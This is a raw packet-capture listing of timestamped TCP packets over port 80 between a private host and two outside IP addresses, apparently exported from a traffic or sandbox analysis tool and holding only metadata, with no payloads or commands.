Nov 23, 2024 13:28:30.651427984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.651511908 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.652452946 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.652507067 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.652570963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.652645111 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.653655052 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.653707027 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.653717041 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.653776884 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.654768944 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.654831886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.654913902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.654992104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.655961037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.656019926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.656171083 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.656224012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.657090902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.657150030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.657299042 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.657334089 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.657361031 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.657401085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.657530069 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.658265114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.658324957 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.658377886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.658431053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.658927917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.659102917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.659387112 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.659440041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.659482956 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.659517050 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.659545898 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.660588026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.660670042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.660681009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.660769939 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.661725998 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.661809921 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.661881924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.661936045 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.662847996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.662909985 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.662966967 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.664041042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.664060116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.664128065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.664185047 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.665226936 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.665285110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.665344954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.666344881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.666415930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.679003000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.679035902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.679095030 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.706567049 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.706598043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.706675053 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.742254972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.742309093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.742443085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.743719101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.744286060 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.744333982 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.744370937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.747526884 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.747586012 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.788048029 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.788135052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.788222075 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.807004929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.807075024 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.807261944 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.807539940 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.807602882 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.807646036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.808687925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.808763027 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.808794975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.809855938 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.809868097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.809982061 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.810049057 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.811002970 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.811147928 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.811204910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.812238932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.812273979 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.812294960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.812330961 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.813330889 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.813389063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.813435078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.813491106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.814490080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.814553976 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.814629078 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.814858913 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.815675020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.815731049 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.815915108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.816874027 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.816953897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.817045927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.818005085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.818151951 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.818217039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.819148064 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.819211960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.819284916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.820286036 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.820348978 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.820422888 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.821460962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.821520090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.821625948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.821682930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.822599888 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.822751045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.822808981 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.823738098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.823846102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.823899984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.824940920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.824992895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.825093031 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.825877905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.826078892 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.826137066 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.826270103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.826339006 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.827287912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.827358007 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.827411890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.827460051 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.827797890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.827888966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.828386068 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.828439951 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.828507900 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.828566074 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.828566074 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.829483032 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.829550028 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.829566002 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.829591990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.829617023 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.829649925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.829711914 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.830686092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.830739975 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.830863953 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.830915928 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.831839085 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.831882954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.831906080 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.831942081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.833024979 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.833084106 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.833137989 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.834167004 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.834276915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.834331036 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.835345984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.835402012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.835439920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.835494041 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.836575031 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.836664915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.836679935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.836769104 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.837666988 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.837726116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.837757111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.837809086 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.838841915 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.838900089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.838957071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.839031935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.840019941 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.840085030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.840132952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.840265036 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.841167927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.841231108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.841289043 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.841350079 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.842324972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.842434883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.842485905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.843482018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.843614101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.843671083 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.844643116 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.844696999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.844763041 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.845786095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.845849991 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.845906973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.846966028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.847023010 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.847156048 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.847209930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.848117113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.848373890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.848431110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.849298954 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.849455118 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.849513054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.850423098 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.850548029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.850605965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.850660086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.850754023 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.851613045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.851660013 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.851733923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.851771116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.851804972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.852758884 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.852910995 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.852969885 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.853945017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.854161024 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.854221106 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.855053902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.855195045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.855251074 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.856244087 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.856306076 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.856365919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.857429028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.857487917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.857506990 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.857868910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.858568907 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.858671904 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.858728886 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.859760046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.859870911 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.859927893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.860898018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.860933065 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.860954046 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.860985994 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.862132072 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.862238884 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.862308979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.863205910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.863296986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.863352060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.864638090 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.864691973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.864753008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.865506887 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.865617037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.865629911 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.865700960 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.866684914 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.866844893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.866910934 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.867794037 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:30.868127108 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:30.870647907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.870767117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.870825052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.872405052 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.872868061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.872905970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.872951984 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.876032114 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.876763105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.914419889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.914638996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.914709091 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.916304111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.916413069 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.916594982 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.919270039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.952558994 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.952626944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.952724934 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.998636007 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.998703957 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.999609947 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.999660015 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:30.999728918 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:30.999778986 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.002932072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.003031015 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.003998041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.008148909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.008167028 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.008264065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.008264065 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.008402109 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.008498907 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.008572102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.008737087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.009445906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.009500027 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.009505033 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.009555101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.009836912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.009906054 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.009951115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.010478020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.010607958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.010664940 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.011513948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.011548042 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.011571884 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.011583090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.011594057 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.012538910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.012623072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.012661934 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.012864113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.013564110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.013685942 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.013708115 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.013741016 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.014605045 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.014672041 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.014719963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.014771938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.015590906 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.015695095 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.015711069 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.015861034 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.016621113 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.016736031 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.016774893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.016774893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.017632961 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.017685890 CET	80	49777	185.215.113.16	192.168.2.6
